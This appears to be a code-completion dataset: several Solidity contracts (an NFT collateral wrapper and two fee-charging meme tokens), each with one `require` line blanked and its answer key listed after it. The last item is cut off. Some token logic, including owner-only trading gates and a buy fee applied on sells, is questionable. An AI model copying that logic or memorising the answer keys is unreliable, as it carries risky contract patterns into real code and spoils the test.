// SPDX-License-Identifier: MIT // NIFTSY protocol for NFT. Wrapper - main protocol contract pragma solidity ^0.8.6; import "./WrapperBase.sol"; import "@openzeppelin/contracts/utils/introspection/ERC165Checker.sol"; /** * @title ERC-721 Non-Fungible Token Wrapper * @dev For wrpap existing ERC721 with ability add ERC20 collateral */ contract WrapperWithERC20Collateral is WrapperBase { using SafeERC20 for IERC20; using ERC165Checker for address; struct ERC20Collateral { address erc20Token; uint256 amount; } uint16 public MAX_ERC20_COUNT = 25; //max coins type count in collateral // Map from wrapped token id to array with erc20 collateral balances mapping(uint256 => ERC20Collateral[]) public erc20Collateral; // Map from collateral conatrct address to bool(enabled-as-collateral) //mapping(address => bool) public enabledForCollateral; event PartialUnWrapp(uint256 wrappedId, address owner); event SuspiciousFail(address failERC20, uint256 amount); event CollateralStatusChanged(address erc20, bool newStatus); event MaxCollateralCountChanged(uint256 oldValue, uint256 newValue); constructor (address _erc20) WrapperBase(_erc20) { } /** * @dev Function for add arbitrary ERC20 collaterals * * @param _wrappedTokenId NFT id from thgis contarct * @param _erc20 address of erc20 collateral for add * @param _amount amount erc20 collateral for add */ function addERC20Collateral( uint256 _wrappedTokenId, address _erc20, uint256 _amount ) external nonReentrant { require(<FILL_ME>) require(enabledForCollateral(_erc20), "This ERC20 is not enabled for collateral"); require( IERC20(_erc20).balanceOf(msg.sender) >= _amount, "Low balance for add collateral" ); require( IERC20(_erc20).allowance(msg.sender, address(this)) >= _amount, "Please approve first" ); ERC20Collateral[] storage e = erc20Collateral[_wrappedTokenId]; //If collateral with this _erc20 already exist just update if (getERC20CollateralBalance(_wrappedTokenId, _erc20) > 0) { for (uint256 i = 0; i < e.length; i ++) { if (e[i].erc20Token == _erc20) { e[i].amount += _amount; break; } } } else { //So if we are here hence there is NO that _erc20 in collateral yet //We can add more tokens if limit NOT exccedd require(e.length < MAX_ERC20_COUNT, "To much ERC20 tokens in collatteral"); e.push(ERC20Collateral({ erc20Token: _erc20, amount: _amount })); } //Move collateral to contract balance IERC20(_erc20).safeTransferFrom(msg.sender, address(this), _amount); } //////////////////////////////////////////////// ///// Admin Functions //// //////////////////////////////////////////////// /** * @dev Function for operate Protocol ERC20 Collateral WhiteList * * @param _erc20 - collateral token address * @param _isEnabled - collateral contract status for Protocol */ function setCollateralStatus(address _erc20, bool _isEnabled) external onlyOwner { } /** * @dev Function set ERC20 Collateral Count Limit * * @param _count - collateral count limit */ function setMaxERC20CollateralCount(uint16 _count) external onlyOwner { } //////////////////////////////////////////////// /** * @dev Function returns array with info about ERC20 * colleteral of wrapped token * * @param _wrappedId new protocol NFT id from this contarct */ function getERC20Collateral(uint256 _wrappedId) external view returns (ERC20Collateral[] memory) { } /** * @dev Function returns collateral balance of this NFT in _erc20 * colleteral of wrapped token * * @param _wrappedId new protocol NFT id from this contarct * @param _erc20 - collateral token address */ function getERC20CollateralBalance(uint256 _wrappedId, address _erc20) public returns (uint256) { } function enabledForCollateral(address _contract) public returns (bool) { } /** * @dev Helper function for check that _underlineContract supports * some interface accordingly ERC165. So for check IERC721 support * use _interfaceId like this: * /* * bytes4(keccak256('balanceOf(address)')) == 0x70a08231 * bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e * bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3 * bytes4(keccak256('getApproved(uint256)')) == 0x081812fc * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde * * => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^ * 0xa22cb465 ^ 0xe985e9c ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd *_INTERFACE_ID_ERC721 = 0x80ac58cd; * bytes4(keccak256('name()')) == 0x06fdde03 * bytes4(keccak256('symbol()')) == 0x95d89b41 * bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd * * => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f * bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; * * bytes4(keccak256('totalSupply()')) == 0x18160ddd * bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59 * bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7 * * => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63 * bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63; * ****************************** * @param _underlineContract contract address for check */ function isERC721(address _underlineContract, bytes4 _interfaceId) public view returns (bool) { } ///////////////////////////////////////////////////////////////////// ///////////// Internals /////////////////////////////////////// ///////////////////////////////////////////////////////////////////// /** * @dev This hook may be overriden in inheritor contracts for extend * base functionality. * * @param _tokenId -wrapped token * * must returna true for success unwrapping enable */ function _beforeUnWrapHook(uint256 _tokenId) internal virtual override(WrapperBase) returns (bool){ } /** * @dev Function returns all ERC20 collateral to user who unWrap * protocol token. Returns true if all tokens are transfered. * Otherwise returns false. In that case need just call unWrap721 * one more time * * * @param _tokenId -wrapped token * */ function _returnERC20Collateral(uint256 _tokenId) internal returns (bool) { } }
ownerOf(_wrappedTokenId)!=address(0)
116,152
ownerOf(_wrappedTokenId)!=address(0)
"This ERC20 is not enabled for collateral"
// SPDX-License-Identifier: MIT // NIFTSY protocol for NFT. Wrapper - main protocol contract pragma solidity ^0.8.6; import "./WrapperBase.sol"; import "@openzeppelin/contracts/utils/introspection/ERC165Checker.sol"; /** * @title ERC-721 Non-Fungible Token Wrapper * @dev For wrpap existing ERC721 with ability add ERC20 collateral */ contract WrapperWithERC20Collateral is WrapperBase { using SafeERC20 for IERC20; using ERC165Checker for address; struct ERC20Collateral { address erc20Token; uint256 amount; } uint16 public MAX_ERC20_COUNT = 25; //max coins type count in collateral // Map from wrapped token id to array with erc20 collateral balances mapping(uint256 => ERC20Collateral[]) public erc20Collateral; // Map from collateral conatrct address to bool(enabled-as-collateral) //mapping(address => bool) public enabledForCollateral; event PartialUnWrapp(uint256 wrappedId, address owner); event SuspiciousFail(address failERC20, uint256 amount); event CollateralStatusChanged(address erc20, bool newStatus); event MaxCollateralCountChanged(uint256 oldValue, uint256 newValue); constructor (address _erc20) WrapperBase(_erc20) { } /** * @dev Function for add arbitrary ERC20 collaterals * * @param _wrappedTokenId NFT id from thgis contarct * @param _erc20 address of erc20 collateral for add * @param _amount amount erc20 collateral for add */ function addERC20Collateral( uint256 _wrappedTokenId, address _erc20, uint256 _amount ) external nonReentrant { require(ownerOf(_wrappedTokenId) != address(0)); require(<FILL_ME>) require( IERC20(_erc20).balanceOf(msg.sender) >= _amount, "Low balance for add collateral" ); require( IERC20(_erc20).allowance(msg.sender, address(this)) >= _amount, "Please approve first" ); ERC20Collateral[] storage e = erc20Collateral[_wrappedTokenId]; //If collateral with this _erc20 already exist just update if (getERC20CollateralBalance(_wrappedTokenId, _erc20) > 0) { for (uint256 i = 0; i < e.length; i ++) { if (e[i].erc20Token == _erc20) { e[i].amount += _amount; break; } } } else { //So if we are here hence there is NO that _erc20 in collateral yet //We can add more tokens if limit NOT exccedd require(e.length < MAX_ERC20_COUNT, "To much ERC20 tokens in collatteral"); e.push(ERC20Collateral({ erc20Token: _erc20, amount: _amount })); } //Move collateral to contract balance IERC20(_erc20).safeTransferFrom(msg.sender, address(this), _amount); } //////////////////////////////////////////////// ///// Admin Functions //// //////////////////////////////////////////////// /** * @dev Function for operate Protocol ERC20 Collateral WhiteList * * @param _erc20 - collateral token address * @param _isEnabled - collateral contract status for Protocol */ function setCollateralStatus(address _erc20, bool _isEnabled) external onlyOwner { } /** * @dev Function set ERC20 Collateral Count Limit * * @param _count - collateral count limit */ function setMaxERC20CollateralCount(uint16 _count) external onlyOwner { } //////////////////////////////////////////////// /** * @dev Function returns array with info about ERC20 * colleteral of wrapped token * * @param _wrappedId new protocol NFT id from this contarct */ function getERC20Collateral(uint256 _wrappedId) external view returns (ERC20Collateral[] memory) { } /** * @dev Function returns collateral balance of this NFT in _erc20 * colleteral of wrapped token * * @param _wrappedId new protocol NFT id from this contarct * @param _erc20 - collateral token address */ function getERC20CollateralBalance(uint256 _wrappedId, address _erc20) public returns (uint256) { } function enabledForCollateral(address _contract) public returns (bool) { } /** * @dev Helper function for check that _underlineContract supports * some interface accordingly ERC165. So for check IERC721 support * use _interfaceId like this: * /* * bytes4(keccak256('balanceOf(address)')) == 0x70a08231 * bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e * bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3 * bytes4(keccak256('getApproved(uint256)')) == 0x081812fc * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde * * => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^ * 0xa22cb465 ^ 0xe985e9c ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd *_INTERFACE_ID_ERC721 = 0x80ac58cd; * bytes4(keccak256('name()')) == 0x06fdde03 * bytes4(keccak256('symbol()')) == 0x95d89b41 * bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd * * => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f * bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; * * bytes4(keccak256('totalSupply()')) == 0x18160ddd * bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59 * bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7 * * => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63 * bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63; * ****************************** * @param _underlineContract contract address for check */ function isERC721(address _underlineContract, bytes4 _interfaceId) public view returns (bool) { } ///////////////////////////////////////////////////////////////////// ///////////// Internals /////////////////////////////////////// ///////////////////////////////////////////////////////////////////// /** * @dev This hook may be overriden in inheritor contracts for extend * base functionality. * * @param _tokenId -wrapped token * * must returna true for success unwrapping enable */ function _beforeUnWrapHook(uint256 _tokenId) internal virtual override(WrapperBase) returns (bool){ } /** * @dev Function returns all ERC20 collateral to user who unWrap * protocol token. Returns true if all tokens are transfered. * Otherwise returns false. In that case need just call unWrap721 * one more time * * * @param _tokenId -wrapped token * */ function _returnERC20Collateral(uint256 _tokenId) internal returns (bool) { } }
enabledForCollateral(_erc20),"This ERC20 is not enabled for collateral"
116,152
enabledForCollateral(_erc20)
"Low balance for add collateral"
// SPDX-License-Identifier: MIT // NIFTSY protocol for NFT. Wrapper - main protocol contract pragma solidity ^0.8.6; import "./WrapperBase.sol"; import "@openzeppelin/contracts/utils/introspection/ERC165Checker.sol"; /** * @title ERC-721 Non-Fungible Token Wrapper * @dev For wrpap existing ERC721 with ability add ERC20 collateral */ contract WrapperWithERC20Collateral is WrapperBase { using SafeERC20 for IERC20; using ERC165Checker for address; struct ERC20Collateral { address erc20Token; uint256 amount; } uint16 public MAX_ERC20_COUNT = 25; //max coins type count in collateral // Map from wrapped token id to array with erc20 collateral balances mapping(uint256 => ERC20Collateral[]) public erc20Collateral; // Map from collateral conatrct address to bool(enabled-as-collateral) //mapping(address => bool) public enabledForCollateral; event PartialUnWrapp(uint256 wrappedId, address owner); event SuspiciousFail(address failERC20, uint256 amount); event CollateralStatusChanged(address erc20, bool newStatus); event MaxCollateralCountChanged(uint256 oldValue, uint256 newValue); constructor (address _erc20) WrapperBase(_erc20) { } /** * @dev Function for add arbitrary ERC20 collaterals * * @param _wrappedTokenId NFT id from thgis contarct * @param _erc20 address of erc20 collateral for add * @param _amount amount erc20 collateral for add */ function addERC20Collateral( uint256 _wrappedTokenId, address _erc20, uint256 _amount ) external nonReentrant { require(ownerOf(_wrappedTokenId) != address(0)); require(enabledForCollateral(_erc20), "This ERC20 is not enabled for collateral"); require(<FILL_ME>) require( IERC20(_erc20).allowance(msg.sender, address(this)) >= _amount, "Please approve first" ); ERC20Collateral[] storage e = erc20Collateral[_wrappedTokenId]; //If collateral with this _erc20 already exist just update if (getERC20CollateralBalance(_wrappedTokenId, _erc20) > 0) { for (uint256 i = 0; i < e.length; i ++) { if (e[i].erc20Token == _erc20) { e[i].amount += _amount; break; } } } else { //So if we are here hence there is NO that _erc20 in collateral yet //We can add more tokens if limit NOT exccedd require(e.length < MAX_ERC20_COUNT, "To much ERC20 tokens in collatteral"); e.push(ERC20Collateral({ erc20Token: _erc20, amount: _amount })); } //Move collateral to contract balance IERC20(_erc20).safeTransferFrom(msg.sender, address(this), _amount); } //////////////////////////////////////////////// ///// Admin Functions //// //////////////////////////////////////////////// /** * @dev Function for operate Protocol ERC20 Collateral WhiteList * * @param _erc20 - collateral token address * @param _isEnabled - collateral contract status for Protocol */ function setCollateralStatus(address _erc20, bool _isEnabled) external onlyOwner { } /** * @dev Function set ERC20 Collateral Count Limit * * @param _count - collateral count limit */ function setMaxERC20CollateralCount(uint16 _count) external onlyOwner { } //////////////////////////////////////////////// /** * @dev Function returns array with info about ERC20 * colleteral of wrapped token * * @param _wrappedId new protocol NFT id from this contarct */ function getERC20Collateral(uint256 _wrappedId) external view returns (ERC20Collateral[] memory) { } /** * @dev Function returns collateral balance of this NFT in _erc20 * colleteral of wrapped token * * @param _wrappedId new protocol NFT id from this contarct * @param _erc20 - collateral token address */ function getERC20CollateralBalance(uint256 _wrappedId, address _erc20) public returns (uint256) { } function enabledForCollateral(address _contract) public returns (bool) { } /** * @dev Helper function for check that _underlineContract supports * some interface accordingly ERC165. So for check IERC721 support * use _interfaceId like this: * /* * bytes4(keccak256('balanceOf(address)')) == 0x70a08231 * bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e * bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3 * bytes4(keccak256('getApproved(uint256)')) == 0x081812fc * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde * * => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^ * 0xa22cb465 ^ 0xe985e9c ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd *_INTERFACE_ID_ERC721 = 0x80ac58cd; * bytes4(keccak256('name()')) == 0x06fdde03 * bytes4(keccak256('symbol()')) == 0x95d89b41 * bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd * * => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f * bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; * * bytes4(keccak256('totalSupply()')) == 0x18160ddd * bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59 * bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7 * * => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63 * bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63; * ****************************** * @param _underlineContract contract address for check */ function isERC721(address _underlineContract, bytes4 _interfaceId) public view returns (bool) { } ///////////////////////////////////////////////////////////////////// ///////////// Internals /////////////////////////////////////// ///////////////////////////////////////////////////////////////////// /** * @dev This hook may be overriden in inheritor contracts for extend * base functionality. * * @param _tokenId -wrapped token * * must returna true for success unwrapping enable */ function _beforeUnWrapHook(uint256 _tokenId) internal virtual override(WrapperBase) returns (bool){ } /** * @dev Function returns all ERC20 collateral to user who unWrap * protocol token. Returns true if all tokens are transfered. * Otherwise returns false. In that case need just call unWrap721 * one more time * * * @param _tokenId -wrapped token * */ function _returnERC20Collateral(uint256 _tokenId) internal returns (bool) { } }
IERC20(_erc20).balanceOf(msg.sender)>=_amount,"Low balance for add collateral"
116,152
IERC20(_erc20).balanceOf(msg.sender)>=_amount
"Please approve first"
// SPDX-License-Identifier: MIT // NIFTSY protocol for NFT. Wrapper - main protocol contract pragma solidity ^0.8.6; import "./WrapperBase.sol"; import "@openzeppelin/contracts/utils/introspection/ERC165Checker.sol"; /** * @title ERC-721 Non-Fungible Token Wrapper * @dev For wrpap existing ERC721 with ability add ERC20 collateral */ contract WrapperWithERC20Collateral is WrapperBase { using SafeERC20 for IERC20; using ERC165Checker for address; struct ERC20Collateral { address erc20Token; uint256 amount; } uint16 public MAX_ERC20_COUNT = 25; //max coins type count in collateral // Map from wrapped token id to array with erc20 collateral balances mapping(uint256 => ERC20Collateral[]) public erc20Collateral; // Map from collateral conatrct address to bool(enabled-as-collateral) //mapping(address => bool) public enabledForCollateral; event PartialUnWrapp(uint256 wrappedId, address owner); event SuspiciousFail(address failERC20, uint256 amount); event CollateralStatusChanged(address erc20, bool newStatus); event MaxCollateralCountChanged(uint256 oldValue, uint256 newValue); constructor (address _erc20) WrapperBase(_erc20) { } /** * @dev Function for add arbitrary ERC20 collaterals * * @param _wrappedTokenId NFT id from thgis contarct * @param _erc20 address of erc20 collateral for add * @param _amount amount erc20 collateral for add */ function addERC20Collateral( uint256 _wrappedTokenId, address _erc20, uint256 _amount ) external nonReentrant { require(ownerOf(_wrappedTokenId) != address(0)); require(enabledForCollateral(_erc20), "This ERC20 is not enabled for collateral"); require( IERC20(_erc20).balanceOf(msg.sender) >= _amount, "Low balance for add collateral" ); require(<FILL_ME>) ERC20Collateral[] storage e = erc20Collateral[_wrappedTokenId]; //If collateral with this _erc20 already exist just update if (getERC20CollateralBalance(_wrappedTokenId, _erc20) > 0) { for (uint256 i = 0; i < e.length; i ++) { if (e[i].erc20Token == _erc20) { e[i].amount += _amount; break; } } } else { //So if we are here hence there is NO that _erc20 in collateral yet //We can add more tokens if limit NOT exccedd require(e.length < MAX_ERC20_COUNT, "To much ERC20 tokens in collatteral"); e.push(ERC20Collateral({ erc20Token: _erc20, amount: _amount })); } //Move collateral to contract balance IERC20(_erc20).safeTransferFrom(msg.sender, address(this), _amount); } //////////////////////////////////////////////// ///// Admin Functions //// //////////////////////////////////////////////// /** * @dev Function for operate Protocol ERC20 Collateral WhiteList * * @param _erc20 - collateral token address * @param _isEnabled - collateral contract status for Protocol */ function setCollateralStatus(address _erc20, bool _isEnabled) external onlyOwner { } /** * @dev Function set ERC20 Collateral Count Limit * * @param _count - collateral count limit */ function setMaxERC20CollateralCount(uint16 _count) external onlyOwner { } //////////////////////////////////////////////// /** * @dev Function returns array with info about ERC20 * colleteral of wrapped token * * @param _wrappedId new protocol NFT id from this contarct */ function getERC20Collateral(uint256 _wrappedId) external view returns (ERC20Collateral[] memory) { } /** * @dev Function returns collateral balance of this NFT in _erc20 * colleteral of wrapped token * * @param _wrappedId new protocol NFT id from this contarct * @param _erc20 - collateral token address */ function getERC20CollateralBalance(uint256 _wrappedId, address _erc20) public returns (uint256) { } function enabledForCollateral(address _contract) public returns (bool) { } /** * @dev Helper function for check that _underlineContract supports * some interface accordingly ERC165. So for check IERC721 support * use _interfaceId like this: * /* * bytes4(keccak256('balanceOf(address)')) == 0x70a08231 * bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e * bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3 * bytes4(keccak256('getApproved(uint256)')) == 0x081812fc * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde * * => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^ * 0xa22cb465 ^ 0xe985e9c ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd *_INTERFACE_ID_ERC721 = 0x80ac58cd; * bytes4(keccak256('name()')) == 0x06fdde03 * bytes4(keccak256('symbol()')) == 0x95d89b41 * bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd * * => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f * bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; * * bytes4(keccak256('totalSupply()')) == 0x18160ddd * bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59 * bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7 * * => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63 * bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63; * ****************************** * @param _underlineContract contract address for check */ function isERC721(address _underlineContract, bytes4 _interfaceId) public view returns (bool) { } ///////////////////////////////////////////////////////////////////// ///////////// Internals /////////////////////////////////////// ///////////////////////////////////////////////////////////////////// /** * @dev This hook may be overriden in inheritor contracts for extend * base functionality. * * @param _tokenId -wrapped token * * must returna true for success unwrapping enable */ function _beforeUnWrapHook(uint256 _tokenId) internal virtual override(WrapperBase) returns (bool){ } /** * @dev Function returns all ERC20 collateral to user who unWrap * protocol token. Returns true if all tokens are transfered. * Otherwise returns false. In that case need just call unWrap721 * one more time * * * @param _tokenId -wrapped token * */ function _returnERC20Collateral(uint256 _tokenId) internal returns (bool) { } }
IERC20(_erc20).allowance(msg.sender,address(this))>=_amount,"Please approve first"
116,152
IERC20(_erc20).allowance(msg.sender,address(this))>=_amount
"No trade"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.9; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol"; import "./UniswapV2Interfaces.sol"; contract Pedro is ERC20Burnable, Ownable { IUniswapV2Router02 public immutable router; address public immutable pair; address public taxWallet; uint256 public tax; bool public allowTrading; constructor(IUniswapV2Router02 _router) ERC20("Pascal", "PEDRO") { } function swapAndLiquefy(address to, uint256 amount) internal { } function _transfer( address from, address to, uint256 amount ) internal virtual override { if (!allowTrading && ( from == pair || to == pair )) require(<FILL_ME>) if(to != pair || from == address(this) || from == owner()) return super._transfer(from, to, amount); uint256 amountForTax = amount * tax / 10000; if(amountForTax > 0) { super._transfer(from, address(this), amountForTax); swapAndLiquefy(taxWallet, amountForTax); } uint256 amountForTransfer = amount - amountForTax; return super._transfer(from, to, amountForTransfer); } function enableTrading() external onlyOwner { } function setTaxWallet(address _taxWallet) external onlyOwner { } function setTax(uint256 _tax) external onlyOwner { } }
!(from!=owner()&&to!=owner()&&!(from==pair&&to==address(router))),"No trade"
116,248
!(from!=owner()&&to!=owner()&&!(from==pair&&to==address(router)))
"Swap has not been enabled."
/* TG: https://t.me/verseyeeth Twitter - https://twitter.com/vcverseye Website - http://www.verseye.io/ */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.14; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { } function div(uint256 a, uint256 b) internal pure returns (uint256) { } function sub(uint256 a, uint256 b) internal pure returns (uint256) { } } abstract contract Context { function _msgSender() internal view virtual returns (address) { } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { } modifier onlyOwner() { } function owner() public view virtual returns (address) { } function _checkOwner() internal view virtual { } function renounceOwnership() public virtual onlyOwner { } function _transferOwnership(address newOwner) internal virtual { } } interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address from, address to, uint256 amount) external returns (bool); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { } function name() public view virtual override returns (string memory) { } function symbol() public view virtual override returns (string memory) { } function decimals() public view virtual override returns (uint8) { } function transfer(address to, uint256 amount) public virtual override returns (bool) { } function allowance(address owner, address spender) public view virtual override returns (uint256) { } function approve(address spender, uint256 amount) public virtual override returns (bool) { } function totalSupply() public view virtual override returns (uint256) { } function balanceOf(address account) public view virtual override returns (uint256) { } function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) { } function _transfer(address from, address to, uint256 amount) internal virtual { } function _mint(address account, uint256 amount) internal virtual { } function _approve(address owner, address spender, uint256 amount) internal virtual { } function _spendAllowance(address owner, address spender, uint256 amount) internal virtual { } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {} function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {} } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } contract VERSEYE is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public uniswapV2Router; string private _name = "VERSEYE"; string private _symbol = "VERSEYE"; bool private swapping; mapping(address => bool) private isExcludedFromFees; mapping(address => bool) private isExcludedMaxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public buyFee; bool public tradingPermitted = false; bool public swapEnable = false; bool public limitsInEffect = true; uint256 public sellFee; address public uniswapV2Pair; address private constant DEAD = address(0xdead); address private constant ZERO = address(0); uint256 public maxTransactionAmount; uint256 public maxWallet; address public marketingWallet; mapping(address => bool) private pairs; constructor() ERC20(_name, _symbol) { } receive() external payable {} function excludeFromMaxTransactionAmount(address _address, bool excluded) public onlyOwner { } function _transfer(address from, address to, uint256 amount) internal override { require(from != ZERO, "ERC20: transfer from the zero address."); require(to != DEAD, "ERC20: transfer to the zero address."); require(amount > 0, "ERC20: transfer amount must be greater than zero."); if (from != owner() && to != owner() && to != ZERO && to != DEAD && !swapping) { if (!tradingPermitted) { require(isExcludedFromFees[from] || isExcludedFromFees[to], "Trading is not active."); } if (limitsInEffect) { if (pairs[from] && !isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the max transaction amount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded."); } else if (pairs[to] && !isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the max transaction amount."); require(<FILL_ME>) } else if (!isExcludedMaxTransactionAmount[to]) { require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded."); } } } bool canSwap = balanceOf(address(this)) >= swapTokensAtAmount; if ( canSwap && swapEnable && !swapping && !pairs[from] && !isExcludedFromFees[from] && !isExcludedFromFees[to] ) { swapping = true; swapBack(false); swapping = false; } bool takeFee = !swapping; if (isExcludedFromFees[from] || isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if (takeFee) { if(pairs[to] || pairs[from]) { fees = amount.mul(buyFee).div(100); } if (pairs[to] && buyFee > 0) { fees = amount.mul(buyFee).div(100); } else if (pairs[from] && sellFee > 0) { fees = amount.mul(sellFee).div(100); } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function changeSwap() external onlyOwner { } function swapTokensForEth(uint256 tokenAmount) private { } function allowTrade() external onlyOwner { } function swapBack(bool _manualSwap) private { } }
!swapEnable,"Swap has not been enabled."
116,321
!swapEnable
"Trading is already open"
/* TG: https://t.me/verseyeeth Twitter - https://twitter.com/vcverseye Website - http://www.verseye.io/ */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.14; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { } function div(uint256 a, uint256 b) internal pure returns (uint256) { } function sub(uint256 a, uint256 b) internal pure returns (uint256) { } } abstract contract Context { function _msgSender() internal view virtual returns (address) { } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { } modifier onlyOwner() { } function owner() public view virtual returns (address) { } function _checkOwner() internal view virtual { } function renounceOwnership() public virtual onlyOwner { } function _transferOwnership(address newOwner) internal virtual { } } interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address from, address to, uint256 amount) external returns (bool); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private 